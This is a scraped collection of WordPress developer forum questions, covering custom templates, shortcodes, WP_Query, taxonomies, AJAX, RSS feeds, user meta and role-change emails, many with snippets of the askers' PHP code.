How to create a wordpress template without using any page

I'm not sure WordPress was build for this, but this is what I'm trying to achieve:   * I want to make a specific URL inside wordpress accessible, for example `www.example.com/some-template` .   * This specific URL should be editable from a php file, part of an existing wordpress theme I'm working on, something like `some-template.php`)   * This is the tricky part: I don't want wordpress users to be able to see or use this template from the custom templates dropdown menu when editing a page. I don't want a specific page to exist in order for this to work. This template should work without any page (I'm not interested in creating a page and hiding it, or hiding the template). The reason I'm trying to do this, is that I want to have a specific template that pieces together a few pages and menus from wordpress and creates some kind of a 'custom view' which is pulled every few hours to another site. It's all part of a bigger picture (the details are not that important). While searching, I only found out that it's possible to create custom templates for at least one page, but then that page must exist in wordpress for the template to work. Does anyone have an idea of how to achieve this?


Author website URL

I've assigned a specific html page (let's call it an author bio page) to each user in the 'website' field within the user admin area. How do I get that URL to display within a single page post? I'm assuming that I'm to use $curauth->user_url but it returns a blank page.


Show how many images are attached to a post/page on compose page

On the front-end, I'm using a query to show all attachments attached to the current post. However, on the compose page, there's no way for a user to see how many images are attached without opening up the media gallery. I would like to add a meta box (or something) to display the current number of attached images – perhaps something like this: http://cl.ly/image/0a2q171v3y2u Is this possible? Thanks!


Code markup plugin like the .wordpress.com blogs offer?

The free wordpress blogs (those hosted at wordpress.com) have a build in code formatting plugin Is it possible to get this on private installs of wordpress? I've copied all my posts across but the code formatting feature doesn't work out of the box I'm primarily looking for Java syntax highlighting


Custom registration form in shortcode getting internal server error 500

I created a custom registration form which works fine when used as a custom page template. I needed it as a shortcode so I created a shortcode using the function below               /* Custom shortcode */     function team_reg_form(){     require_once(ABSPATH . WPINC . '/registration.php');     global $wpdb, $user_ID;          echo '
';          //if the form is posted we need to validate     if ('POST' == $_SERVER['REQUEST_METHOD']) {        $user_login = $_POST['user_email'];        $user_email = $_POST['user_email'];             $billing_phone  = $_POST['billing_phone'];                //initialize a WP_Errror object        $errors = new WP_Error();             //email is required        if (  isset($user_email) && $user_email == '' )           $errors->add('email_required', __('The email field is required.'));        //email needs to be a valid email        if (  isset($user_email) && !is_email($user_email) )           $errors->add('email_invalid', __('The email is not valid.'));                if(!$errors->get_error_codes())            $errors = $user_id = wp_insert_user(array('user_login' => $user_login, 'user_email' => $user_email));               update_usermeta($user_id, 'billing_phone', $billing_phone);               //update_usermeta($user_id, 'first_name', $first_name);               update_usermeta( $user_id, 'first_name', $_POST['first_name'] );        //if we still do not have any errors it was a success        if (!is_wp_error($errors)) {             wp_redirect( 'https://example.com/'); exit;        }else{//output the errors           foreach($errors->errors as $code => $error)              echo '
'.$error[0].'
';        }     }     echo '<form name="registerform" id="registerform" action="'. the_permalink().'" method="post">
     '. _e('Name').'
     <input type="text" name="first_name" id="first_name" class="input" value="'. esc_attr(stripslashes($first_name)).'" tabindex="2" />

     '. _e('E-mail').'
     <input type="text" name="user_email" id="user_email" class="input" value="'. esc_attr(stripslashes($user_email)) .'" tabindex="2" />

     '. _e('Phone').'
     <input type="text" name="billing_phone" id="billing_phone" class="input" value="" tabindex="4" />
          '. do_action('register_form').'
     <input type="submit" name="wp-submit" id="wp-submit" class="button-primary" value="'. esc_attr_e('Register').'" tabindex="100" />
          </form>
';     }     add_shortcode('teamform', 'team_reg_form');


Best Practices for Video Uploads to Wordpress

I'm working on a theme and one of the features I'm quite happy with is the slider supports background videos. The problem is however, that Wordpress (although I think it's more a PHP issue) has a limit of 2MB on file uploads, and as you know, most videos are bigger than that. So I haven't got that much experience with themes, but what is the best practice in this situation? I guess users could use youtube and link to those videos, but that seems a bit drawn out. Any ideas are appreciated!


Combining the Edit Media Screen with the Links Manager?

Is there a way to somehow integrate the link manager into the media edit screen? So if a user uploads or replaces a media item, they can also add the media's attachment link to a link category from the same screen.


Alternatives to handle customizer settings

My theme JBST (https://github.com/bassjobsen/jamedo-bootstrap-start-theme) makes use of https://codex.wordpress.org/Theme_Customization_API. I need possibility to add some default settings to the customizer. I know `add_setting()` has the option to add an default value. Using this default value seems to give troubles for child themes to define it's own default settings. I found some kind of solution already: initialization of the customizer:                $wp_customize->add_setting( 'color', array(     'default'        => false     ) );      see also: https://core.trac.wordpress.org/ticket/26817 In my theme files:               $color = get_theme_mod( 'color',color);     if(!empty($color))         //check for empty cause there will be a fallbback         //fallback doesn't need the declaration below     {         echo 'color:               '.$color.';';     }      in functions.php of the parent theme:               function jbst_default_settings()     {     do_action('jbst_child_settings');     if(!defined('color'))define('color','#ED9C28');//default     }         in functions.php of the child theme:               add_action('jbst_child_settings','sample_jbst_child_settings');     function sample_jbst_child_settings()     {         define('color','red');//child theme's default     }         I wonder of someone could provide me a better / alternative solution?


Set a category for a page

My current theme has a portfolio section where you can have an array items based on what category they are in. My problem is that I have several pages that I want to be in the portfolio section but can't add them there because you can't assign categories to individual pages only posts. Is there any method or plugin around this issue? This is some code that I believe calls the category in my portfolio.php:               <?php  if(is_category() && in_category($current_id) || post_is_in_descendant_category($current_id)){?>
<?php single_cat_title(); ?>

<a href="<?php echo get_category_link(get_option('boldy_portfolio'))?>">All projects
                 <?php                            $categories = get_categories('hide_empty=1&child_of='.$categs);                         foreach ($categories as $cat) {                         echo ('
cat_ID).'">'.$cat->cat_name.'
');                         }                     ?>
         <?php } ?>

                 <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

<a href="<?php the_permalink() ?>"><?php the_title(); ?>
                             <a href="<?php echo get_thumb_urlfull($post) ?>" rel="prettyPhoto" title="<?php the_title();?>"><?php the_post_thumbnail(); ?>
<?php the_excerpt() ?>

                 <?php endwhile; ?>      Thanks Nick.


Add an alignment option for images

A rare event - I want to do something in WordPress but have no idea how to go about it and searching turns up literally nothing. When you're inserting an image into a post, you get alignment options: 'none', 'left', 'right', 'center'. These result in the image being inserted with a CSS class related to alignment, like 'alignleft', 'alignright' or 'aligncenter'. Great. What if my theme was a little more complex and I wanted to add a couple options here that, just like the core options, would just add a new CSS class to the inserted images? For example - a 'right margin' option that I could style with some fancy CSS to get some more complex layouts? Any pointers on where I might start?


Change taxonomy slug in database

I am using Events Calendar Pro and due to a bug multiple Venue taxonomies were created. For example, I have museum, museum-2, etc. I would like to delete the duplicates but assign the event associated with the duplicate venue to the 'main' venue. Is there a find/replace I can use that would do this for me? Other suggestions are welcome. Thank you.


How to Run a jQuery Script after a Javascript Script has Finished in WordPress

I've got javascript (a) and jQuery script (b). I need (b) to run after (a) has finished running. I need them to run sequentially. How do I do that? In wp_enqueue_script, I've made (b) dependent on (a), but it appears that (b) runs before (a) has finished processing. I'm trying to use the_maps_bounds, a variable I've put in the global scope. It gets set in (a) and used in (b). The problem is that (b) is trying to use the variable before it has been set. Any suggestions? Thank you.


Unable to delete a Category and Tag that share same slug

In my wordpress site I have a category (e.g Animals) with slug (anim) and a tag with name (Animals) with the same slug (anim). My problem is that I want to delete the category but keep the tag. However whenever I try to change any settings in the category, the tag changes as well (e.g when I change the category slug to anim-old the tag's slug changes as well). It seems to be something to do with the fact that they have the same slug wordpress thinks they're the same. Would there be any way (even in the database using sql) to unlink the category and tag so that I can delete the category?


Require featured image

I would like to require a featured image on a site I am developing. I tried the code here: Make featured image required and nothing happened - the JS showed up in the site header, but I could still save the post without a featured image, and never got an error message. There are several plugins that do this, such as Mandatory Field and WyPiekacz, but I need to do something more complicated... I have a custom meta box with radio buttons. I need to require a featured image only if a certain radio button is checked. I'm already requiring some other fields (category and some custom taxonomies) if certain radio buttons are checked, using jQuery validation. So I guess I can boil this down to two questions:   1. What's a good way to require a featured image?   2. How can I integrate that into some existing validation and require a featured image only if a radio button is selected? Question 1 is probably much easier to answer, and if someone can answer #1, then I can probably figure out #2 on my own.


How to Add a Custom Size for Thumbnails for WP - Gallery

I am using "Lightbox Plus" plugin to create lightbox image overlay on the top of thumbnail galley. Now my question is how I can set a size for Thumbnails without affecting on the lightbox image overlays. I mean when I try to set a scale for Thumbnails through wp-Gallery edit option it apply the size even to the overlays (I would like to keep the overlay size as big as possible but this function makes them small like Thumbnails size) I also see this line of code in codex:                  `get_the_post_thumbnail($id, array(100,100) ); // Other resolutions`      but I don't know how and where to use it. Thanks


Get post title by Alphabet

I try to call this function to get a list of posts by alphabet. But for some reason i keep getting an error. Call to a member function get_col() on a non- object. What am i doing wrong?               {function get_post_by_alphabet($the_char){     $first_char = $the_char;          $postids=$wpdb->get_col($wpdb->prepare("     SELECT      ID     FROM        $wpdb->posts     WHERE       SUBSTR($wpdb->posts.post_title,1,1) = %s     ORDER BY    $wpdb->posts.post_title",$first_char));           if ($postids) {     $args=array(       'post__in' => $postids,       'post_status' => 'publish',       'posts_per_page' => -1,       'caller_get_posts'=> 1     );     $my_query = null;     $my_query = new WP_Query($args);     if( $my_query->have_posts() ) {      echo 'List of Posts Titles beginning with the letter '. $first_char;       while ($my_query->have_posts()) : $my_query->the_post();         echo '
<'.the_title().'
';       endwhile;     }     wp_reset_query();  // Restore global post data stomped by the_post().     }     }          get_post_by_alphabet('H');     }


Multilingual attachment links

I have a site that operates in English and French, and uses wp-document- revisions to manage file attachments connected to a custom post type. The function works flawlessly for English, but I am experiencing issues with French. The actual file (for example, 3a30c28481152795125279fc12f93e90.pdf) exists in the proper directory. And the post_meta record exists connecting the hashed filename and the French language post. But I cannot access the file directly with this filename, and the post-slug is not working. Any thoughts? Thanks


Nav Walker: Set ul id to current item's title

I'm trying to assign an ID to a sub-menu `ul` that matches the associated items `li` in my nav-walker. Here's the output I'm looking for:

             Menu Item 1

Sub Item

Sub Item

Sub Item

      Here's the relevant code in my `walker`               class Roots_Nav_Walker extends Walker_Nav_Menu {            private $curItem;       private $curSectionItem;            function check_current($classes) {         return preg_match('/(current[-_])|active|dropdown/', $classes);       }            function start_lvl(&$output, $depth = 0, $args = array()) {         $this->curSectionItem = $this->curItem;         $output .= "\n
curItem->title."\">\n";         // $output .= var_dump($this->curItem); // Debug       }      The var_dump returns null and no output is added. Anything obvious I'm doing wrong?


post/page content

i am trying to insert a post/page into one of my themes files and it wont display shortcodes or php i have created a page called home in the wordpress admin-paned and inserted into my code the following:               <div id="home_page"> <!-- echos the content from the page "home" id:43 -->                 <?php $home_id = 43;                 $home_page = get_page( $home_id );                 ?>                   <?php echo $home_page->post_content; ?>         </div> <!-- end #home_page -->      and non of the shortcodes that i have in the page work. i installed a `php in post or page` and tried useing php and it doesnt work. when i insert               echo do_shortcode('[youtube_sc url=http://www.youtube.com/watch?v=Db3XGpt6nNU]');      directly into the code it works. does anyone know y this happens? thank you.


Custom Post Type 'hierarchical' Help!

Not quite sure why it's even available because I cannot find any documentation on how to make a custom post type hierarchical other than in the optional parameter 'hierarchical' => true....Can someone please give me a basic example of a hierarchical custom post type and the child custom post type? For example, if I wanted to create a custom post type of "Crayon Box" and a child custom post type of "Crayon", how would one do this? Again, I am more than willing to read through some documentation but there is absolutely nothing that I can find on this in the Wordpress Codex. **UPDATE:** I did read in one post where someone used post_parent but I am also unable to find documentation on this parameter...


Tabindex on text input immediately after WordPress title input

The following code adds a text input for a subtitle to the space directly below the title input, via the `edit_form_after_title` hook. However, when editing the title, pressing tab moves the cursor to the main post editor and I can't figure out what tabindex I should use (or some other method if available) in order to tab from the title to my subtitle input instead.               add_action( 'edit_form_after_title', 'add_input' );          function add_input(){              global $post;              $options = get_option( 'kia_subtitle_options' );              // only show input if the post type was not enabled in options         if ( isset ( $options['post_types'] ) && in_array( $post->post_type, $options[ 'post_types'] ) ) {                  //create the meta field (don't use a metabox, we have our own styling):             wp_nonce_field( plugin_basename( __FILE__ ), 'kia_subnonce' );                  //get the subtitle value (if set)             $sub = get_post_meta( get_the_ID(), 'kia_subtitle', true );                  // echo the inputfield with the value.             printf( '<input type="text" class="widefat" name="subtitle" placeholder="%s" value="%s" id="the_subtitle" tabindex="1"/>',                     __( 'Subtitle', 'kia-subtitle'   ),                      esc_attr($sub) );          }     }


How to target with css, admin elements according to user role level?

I am using plugins "Capability Manager Enhanced" and "Adminimize". Between these two I have been able to do much of what I want to do. There are still some elements I need to hide and have been able to target them with css. The problem is that these elements are hidden across all admin user levels. Is there something built in that distinguishes the different role levels in the admin? I would think the best way to do this would be to add a class to the body tag according to the role level at log-in -- such as "author" class if log-in role level is "author". If this is the best way I wouldn't know how to write the code to do this. I assume it would be a php addition to function.php. ???


How to translate "wrong password" message

I try to translate the "wrong password" response at system log in. I update wp-login.php, however I do not find there any handler for wrong password, wrong user. Maybe such generic tests are handled somewhere else? Thank you.


Ajax Not Working If The Handler is Located Outside Plugin Submenu Page Function

I am using wordpress ajax to trigger a submission. I located the submission code in the submenu page, because of it is have conflict with the function in plugin main page. The problem here is, I should placed the ajax handler in the submenu page function while it will not triggered if it is placed there. It always returning `0` if the handler is located in the submenu page function. I had added `nopriv` in the handler hook and also localize the javascript. The **Ajax example from Wordpress Codex** is also not working if I put it inside the submenu page function of my plugin. My question:   * How to make wordpress ajax working while its handler is placed inside submenu page function? Thanks in advance!


How to add a text widget during theme activation

I'm trying to add a text widget with the title and text set, to two custom sidebars in my custom theme. But, I can't find a clear walkthrough of how to do it. I've seen bits of code here and there, but nothing that clearly walks through the process of programatically adding the text widget to a sidebar. I've seen this but it revolves around a custom widget which is not what I'm trying to do. Edit: I have two sidebars - footer-left and footer-right. Here's what I have tried but it has not worked. So, can anyone tell me what I'm doing wrong?               update_option( 'sidebars_widgets',              array (              'footer-left' => array ( 0 => array( 'title' => 'Test1', 'text' => 'Test 1 Test')),              'footer-right' => array ( 0 => array( 'title' => 'Test2', 'text' => 'Test 2 Test')),              ) );


does a translation (i18n) have to start from an english PO?

i was wondering: it seems a translation must be a translation from english. I mean, the starting file is in english, then you do translations from that. But what if say, I'm Italian? So the base language is Italian and the others are translations from Italian? Because it's just this: i'd like to have the original PO file in italian and starting from there. What's teh way of doing it?


How to display the status of users (online - offline) in archive.php

I am using the code the user status How to check if a user (not current user) is logged in?. On page profile of the author it works well (thank you guys). But if I put on the archive page, at the bottom of the post, it does not work.   **`functions.php`**               add_action('wp', 'update_online_users_status');     function update_online_users_status(){              if(is_user_logged_in()){                  if(($logged_in_users = get_transient('users_online')) === false) $logged_in_users = array();                  $current_user = wp_get_current_user();             $current_user = $current_user->ID;               $current_time = current_time('timestamp');                  if(!isset($logged_in_users[$current_user]) || ($logged_in_users[$current_user] < ($current_time - (15 * 60)))){                 $logged_in_users[$current_user] = $current_time;                 set_transient('users_online', $logged_in_users, 30 * 60);             }          }     }      **`author.php`**               <?php     function is_user_online($user_id) {              // get the online users list         $logged_in_users = get_transient('users_online');              // online, if (s)he is in the list and last activity was less than 15   minutes ago         return isset($logged_in_users[$user_id]) && ($logged_in_users[$user_id] >     (current_time('timestamp') - (15 * 60)));        }          $passthis_id = $curauth->ID;     if(is_user_online($passthis_id)){echo 'User is online.';}     else {echo'User is not online.';}     ?>      > **EDIT** The OP wants to "display the status at the bottom of each post on > the archive page".


Sort Archive by Taxonomy

I have a site with Taxonomy for State (Eg Victoria, Qeensland ETC) this taxonomy is called listing_state. I also have a taxonomy called membership_type which can be Free or Paid. These 2 taxconomies are for a CPT of listings If I click on a taxonomy for State it brings the results as expected sorted by post date, how would I list the Paid Memberships before the Free memberships. I am using Genesis and Lifestyle theme Thanks Richard


Insert into db with foreach problem

I have no idea why this foreach it`s not running. When i post the article, only inserts once. Should make it at much as needed. Do you see any problem?               $array_produse = array();     for($i=1; $i<=8; $i++)     {         $gramaj = isset($_POST['image'.$i.'_gramaj']) ? $_POST['image'.$i.'_gramaj'] : '';         $pret = isset($_POST['image'.$i.'_pret']) ? $_POST['image'.$i.'_pret'] : '';              $array_produse[$i]['gramaj'] = $gramaj;         $array_produse[$i]['pret'] = $pret;         $array_produse[$i]['numar_produs'] = $i;     }          foreach($array_produse as $produs)     {        $wpdb->insert(             'produse',             array(                 'id' => $post_id,                 'pret' => $produs['pret'],                 'gramaj' => $produs['gramaj'],                 'numar_produs' => $produs['numar_produs']             ));     }


can i limit editing specific custom fields to certain roles?

i am writing a plugin that injects unescaped content (including javascript) into a post. i'm storing this content as a custom field, and am wondering if there are any built in ways to prevent users from editing specific custom fields.


Check is category parent with ids from the childs - get_term_children

I have a hierarchical category list, like:               A (Parent Category)           - B (Child Category)      - C (Child Category)      - D (Child Category)          B (Parent Category)           - E (Child Category)      - F (Child Category)      And i will, that if the Parent Category has Children Categorys, that then the Parent Category have the ID'S also of the Child Categorys, like               <input id="parent_1(ID)" class="checkbox" type="checkbox" name="parent_1(ID)" checked="checked" onchange="toggle( 1 (ID of the Parent Category), Array( 4, 3 (Both ID's of the Child Categorys), 999 ) )">      So that when Parent Category is check, the child Categorys also checked. With the old function of Wordpress get_children_categories worked as expected, and java makes the rest with check the childrens by recognizing the id. But my Problem is, that the function get_children_categories is depraceted and with the new function get_term_children its not work. The old code looked so:               class Walker_Category extends Walker      {         var $tree_type = 'category';         var $db_fields = array ('parent' => 'parent', 'id' => 'term_id');              function start_lvl($output, $depth, $args) {             if ( 'list' != $args['style'] )                 return $output;                  $indent = str_repeat("\t", $depth);             $output .= "$indent
\n";             return $output;         }     ....................          function start_el($output, $category, $depth, $args)         {             extract($args);             $cat_name = esc_attr($category->name);                  $cat_name = apply_filters( 'list_cats', $cat_name, $category );             $children = substr( get_category_children( $category->term_id, '', ', '), 0, -2 );     li><input type='checkbox' onchange='toggle( {$category->term_id}, Array( $children, 999 ) )'          .................      But when i changed the code like:               $children = get_term_children( (int) $category->term_id, $category);          "
<input type='checkbox' onchange='toggle( {$category->term_id}, Array( $children...      It gives only a 0 out. When i print_r than outputs arrays with the id's of the children categories, like:                $children = get_term_children( (int) $category->term_id, 'category');           $children = print_r( $children );      And the output is:                Array ( [0] => 3 [1] => 4 ) Array ( ) Array ( ) Array ( [0] => 6 ) Array ( )       Does anyone have any idea how I can release it? I'm already a few hours on it and come not forward with it. Or there may be another solution whereby the sub-categories are also checked. Thanks for the help ...


Conditional Statements

I have created Custom Post Type called - listing Also created custom taxonomy - listingcategories In listing categories, i have created two categories   1. music 2. features Now i want to create a conditional statement for music category I am trying this, but its not working               <?php global $post;     if (($post->post_type == 'listing') && is_category('music')) {      //statement     } ?>      Am i using it right **is_category()** ? Please Help. Thanks Rajiv


Redirect old query string urls to new SEO urls

I had urls like `example.com/?area=new-york`. `area` is a custom taxonomy. I had to change the urls to `example.com/new-york`. I want to do a 301 to new urls if previous urls are accessed. and I want Google to update its index. I have been trying to define a rewrite rule that can accomplish this but I failed. Help needed!


RSS feed request URL being corrupted

I have 2x websites. Website one has lots of user profile information and website two is used to reference this information, to avoid duplication of work. To achieve this, I use a custom RSS feed. However, the feed that I request is getting messed up somewhere, and I don't know where. The feed works if I go directly to it on website one (e.g. http://www.dynedrewett.com/feed/?person=natalie-cox). However, if I try and retrieve the feed from website two, the wrong data is returned. When a feed is requested, I log the `person` query variable so I can check what it is. When going directly to the feed (i.e. using the link above) the correct name is logged. However, when calling the feed from the second website, the incorrect name is logged. When I output the `$url` on the second website (the URL used to grab the feed), literally as I'm about to create the SimplePie object, it is correct. I then output the object and the correct feed URL is set. So somewhere between the SimplePie object creation on website two and the feed request on website one, the URL is getting messed with. But I don't know what could be causing it. I have searched every file in my theme, and none of them include the filter `request` (so no overriding of my other filter). Also I've deactivated every single plugin, and that also made no difference. Does anyone please have some suggestions for other things that I could check? Thanks. **How website one handles feed requests**               add_filter('request', 'feed_request');     function feed_request($qv){              if(isset($qv['feed']) && !isset($qv['post_type'])) :                  if(isset($_GET['person'])) : // Only specific staff (by ID) have been requested                      $qv['post_type'] = 'staff';                 $qv['post__in'] = get_staff_post__in_ids(explode(',', $_GET['person']));                 update_option('last_rss_person', explode(',', $_GET['person']));                  endif;              endif;              return $qv;          }          function get_staff_post__in_ids($names){              global $wpdb;              $query = stripslashes($wpdb->prepare('SELECT `%1$s`.`ID` FROM `%1$s` WHERE 1=1 AND `%1$s`.`post_name` IN (%2$s)', $wpdb->posts, '"'.join('","', $names).'"'));         $results = $wpdb->get_col($query);              $post__in = (!empty($results)) ? $results : array(0);              return $post__in;          }      **How website two requests a feed**               function fetch_person_feed($url){              echo '<pre>$url: '; print_r($url); echo '</pre>';              $feed = new SimplePie();         $feed->set_feed_url($url);         $feed->set_cache_class('WP_Feed_Cache');         $feed->set_file_class('WP_SimplePie_File');         //$feed->set_cache_duration(3600); // Set the cache to 1 hour (3600 seconds)         $feed->set_cache_duration(10); // Set the cache to 10 seconds (use olnly when testing)         do_action_ref_array('wp_feed_options', array(&$feed, $url));         $feed->init();         $feed->handle_content_type();              if($feed->error()) :             return new WP_Error('simplepie-error', $feed->error());         endif;              return $feed;          }


How do I remove unwanted pages like archive, search, etc.?

By default WordPress pushes out a whole array of pages I don’t want or need - archive, author, blog, monthly, recent posts, categories, comments, attachment, taxenomies, search, search results, and probably a few others I’ve missed. Most of the time I’m building regular broshure websites with no need for anything except a few fairly static pages. How do I get rid of all the other pages? Is there a plugin that will do this? Do I have to set up a dozen redirects in the .htaccess? I’ve tried searching, but all I find is how to hide parts of a page, or customise the sitemap to hide from searches. But I don't want those pages at all, so even entering the direct URL shouldn't work.


Is it possible to store visitors IPs in wp_postmeta table?

Or in any of the other 11 Wordpress tables. I also need to store: submission date, name, contact number in the same table. What approach would be best? A custom table or using a standard table?


Possible bug: update_user_meta is updating two unique meta entries

On a CPT page I am checking to see if the user is logged in; if they are, I'm checking to see if they have a meta entry which is `'session-'` + the current page's stub. If they do, I increment the value by one. I thought this was all working fine, but I've just noticed that it's actually incrementing two separate user_meta fields. At the moment I have three CPT pages (let's call them Burt, Ernie & Ralph); if I refresh the page for **Burt** , it increments my user_meta field (`session-burt`) by 1, which is great; however it _also_ increments `session-ralph` by 1. I don't have the **Ralph** page open, and I'm echoing out everything I can think of to try and trace down the erroneous line of code, but I can't see _why_ it's doing it. It is incredibly annoying. Here's my code. Hopefully I'm just blind to something really obvious and it's not a WP bug.               $stub = $post->post_name;          $sessionKey = 'session-' . $stub;     $viewedKey = $stub . '-lastviewed';          $sessionViewsArray = get_user_meta($current_user->ID, $sessionKey);     $sessionViews = (int)$sessionViewsArray[0];          echo '
';     print_r($sessionViewsArray);     echo '
';          echo '
I think there are ' . $sessionViews . ' views
';          $lastViewedArray = get_user_meta($current_user->ID, $viewedKey);     $lastViewedTime = $lastViewedArray[0];          if ($lastViewedTime) {         $lastViewed = date('l jS F Y, g:ia', $lastViewedTime);     } else {         $lastViewed = 'First time - good luck!';     }          $newSessionViews = $sessionViews + 1;          update_user_meta($current_user->ID, $sessionKey, $newSessionViews);     update_user_meta($current_user->ID, $viewedKey, time());          echo '
I think I just updated ' . $sessionKey . '
';          ///     //  Now let's update the page views     ///          $pageViewsArray = get_post_meta($post->ID, 'totalviews');     $pageViews = (int)$pageViewsArray[0];          $pageViews += 1;          update_post_meta($post->ID, 'totalviews', $pageViews);      It's worth noting that it only seems to be the one `session-ralph` entry that is affected; the `ralph-lastviewed` entry doesn't get updated if I refresh the Burt page. Any help would be greatly appreciated! ## UPDATE: As per the _awesome_ answer from @dalbaeb below, my solution was to use the following hook: `remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);` ...which removed the `<link rel='next'...` and `<link rel='prev'...` tags from my header and immediately solved the issue.


Subdomain for main category, directories for subcategories

I explain clearly what I want to achieve :   I have here   Main category : Car   -Sub-category : Sports-Car   --Sub-category : Porsche   ---Post : Porsche-911-Turbo.html   I want URL to be this :   "car.mysite.com/sports-car/porsche/porsche-911-turbo.html"   How can I get this result with WordPress?   Thanks for all your answers.


Wordpress Ajax always returns a 404 error

I just got this code from a tutorial. I can't seem to get it to work. HTML (home.php)                   <form name="myform" id="myform" action="" method="POST">                        Name             <input type="text" name="name" id="name" size="30" value=""/>
                      Email             <input type="text" name="email" id="email" size="30" value=""/>
                      <input type="submit" name="submit" value="Submit">         </form>

      PHP (function.php)                   function myform(){            echo "Form submitted successfully:
Your name is ".$_POST['name']." and your email is ".$_POST['email']."
";          }         add_action('wp_ajax_myform', 'myform');         add_action('wp_ajax_nopriv_myform', 'myform');      Javascript (header.php)


Display only the latest post

There seems to be something wrong with the logic of what I'm doing. I just want to display the latest post in a custom term. But instead I'm displaying every post for that term, even though I am using `posts_per_page => 1` I have a taxonomy called "twin" and the term "double portrait", I have 2 posts in a category called "celebrity", both with the term "double portrait". The code I have outputs in the right category fine, but as I say it's outputting for each post instead of just the one. Here's the code I'm using:                $post_type = 'post';            $taxonomies = get_object_taxonomies( (object) array( 'post_type' => $post_type ) );            foreach( $taxonomies as $taxonomy ) :               $terms = get_terms( $taxonomy );            foreach( $terms as $term ) :               $args = array(           'tax_query' => array(             array(               'taxonomy' => $taxonomy,               'field' => 'slug',               'terms' => $term->slug               )             ),           'posts_per_page' => 1,           'ignore_sticky_posts' => true,            'orderby' => 'modified',           );            $posts = new WP_Query( $args );            if( $posts->have_posts() ): while( $posts->have_posts() ) : $posts->the_post();       if(in_category($str)) {         if(has_term('double portrait','twin')) {             echo the_excerpt();         }            }            endwhile; endif;            endforeach;            endforeach;


modify stylesheet of a particular page inside wp-admin

inside this path, are the listing of my wordpress pages.               /wp-admin/edit.php?post_type=page&orderby=title&order=asc      i want to remove the default `<table>` design of the page and create my own style. how do i go and modify that particular page. Does this function `add_action()` still applicable? only to a particular page? or should i modify the `edit.php` directly?


Select posts with any post_type from database?

I'm trying to select all rows from the database regardless of post type, however when suppressing post_type WP_Query only gets rows with `post_type = "post"` is there a way to suppress the post_type filter (or select all post types)?               // This just selects post_type = "posts"     $args = array(      'post_status' => 'publish',      'posts_per_page' => -1,      'ignore_sticky_posts' => true,     );     $qry = new WP_Query( $args );


Sorting by tag or category

Here's the scenario: A user clicks on a tag which takes them to a list of all those posts with that tag. There are hundreds of posts, so the user needs a way to filter these. Here's the question: How would you build a drop down that a user can select to filter by category while on the tag page. Filter all Yellow tags by Color category for instance. Also the reverse would be useful. Searching the Color category and filtering by the tag Yellow.


Using tax_query reverses my post_type argument in a custom WP_Query

I'm using a custom query to pull some posts from a custom post type. I'm having problems with it so I used print_r on my WP_Query object and I found something strange.               my query has these arguments:     'post_type' => 'event'         ,'tax_query' => array(                     array(                         'taxonomy' => 'event-categories'                         ,'field' => 'id'                         ,'terms' => 72                         ,'operator' => 'IN'                     )         )         ,'order' => 'ASC'     );     $query = new WP_Query( $args );      and when I remove the tax_query portion I get all my posts, but when I include it I get none. I'm positive I have more than one post with the taxonomy ID of 72. When I look at my print_r($query) with the post type in, I see this:               WP_Query Object     (     [query_vars] => Array         (             [post_type] => Array                 (                     [0] => media_player                     [1] => ada_slides                     [2] => closings                     [3] => staff                     [4] => post                     [5] => page                 )      All of my post types are listed except for the one I wanted, event. If I take out tax_query from my args, it looks like this:               WP_Query Object     (     [query_vars] => Array         (             [post_type] => event             [order] => ASC      ...and so on Also, if I change my operator to NOT IN, it searches the correct post type but excludes the category I want to search for. Why would using a tax_query argument seemingly invalidate my post_type argument and instead include all post types but the one I wanted?


Stuck with conflicting loops on page template

I'm really new to WordPress and having a problem with my page template and a sidebar loop. I made a block that displays posts in a category in the sidebar, it also displays a custom field below the title of each post and the code looks like this:               <?php $published = get_post_meta( $post->ID, 'article_Details', true ); ?>

Recent Articles
         <?php              $catquery = new WP_Query( 'cat=2&posts_per_page=6' );              while($catquery->have_posts()) : $catquery->the_post();         ?>         <a class="listing" href="<?php the_permalink() ?>"><?php the_title(); ?>
<?php echo $published[0]['publication-details']; ?>
              <?php endwhile; ?>

      It gets displayed properly on single posts, categories and homepage but for every **page** on the site where it should be, it breaks, only the first item in the block gets displayed without the custom field and the foooter of the site never appears. The template I use for my pages looks like this:               <?php get_header(); ?>
         <?php while (have_posts()) : the_post(); ?>              <article <?php post_class(); ?>>
<?php the_title(); ?>

                      <?php the_content(); ?>

          <?php endwhile; ?>          <?php get_sidebar(); ?>          <?php get_footer(); ?>      I'm not sure what the issue is, I've tried changing several things to fix the code in both the page template and the sidebar template without any luck so far.


Add existing user as administrator

I run several wordpress sites that I created. A friend has asked me to help admin his existing site. So we want to add my userid as admin to his site. However, User | Add User allows addition of a 'brand new user' with new password, email ets. I would much prefer not to have another wordpress user account to remember. Can I not add my existing userid as admin to my friend's site?


Send a confirmation of user role upgrade conditionally

I'm using this snippet of code to send a confirmation email to user's when their account is upgraded to a new user role.               function user_role_update( $user_id, $new_role ) {         $site_url = get_bloginfo('wpurl');         $user_info = get_userdata( $user_id );         $to = $user_info->user_email;         $subject = "Role changed: ".$site_url."";         $message = "Hello " .$user_info->display_name . " your role has changed on ".$site_url.", congratulations you are now an " . $new_role;         wp_mail($to, $subject, $message);     }     add_action( 'set_user_role', 'user_role_update', 10, 2);      This sends an email whether the account has been upgraded or downgraded which doesn't give me the flexibility of sending a different message for a downgrade. I have two situations where this is used.   1. When a user is upgraded from "contributor" to "author".    2. When an "author" is downgraded to "contributor". How can I use conditions to send a different email for each of these events?


Error when trying to logout

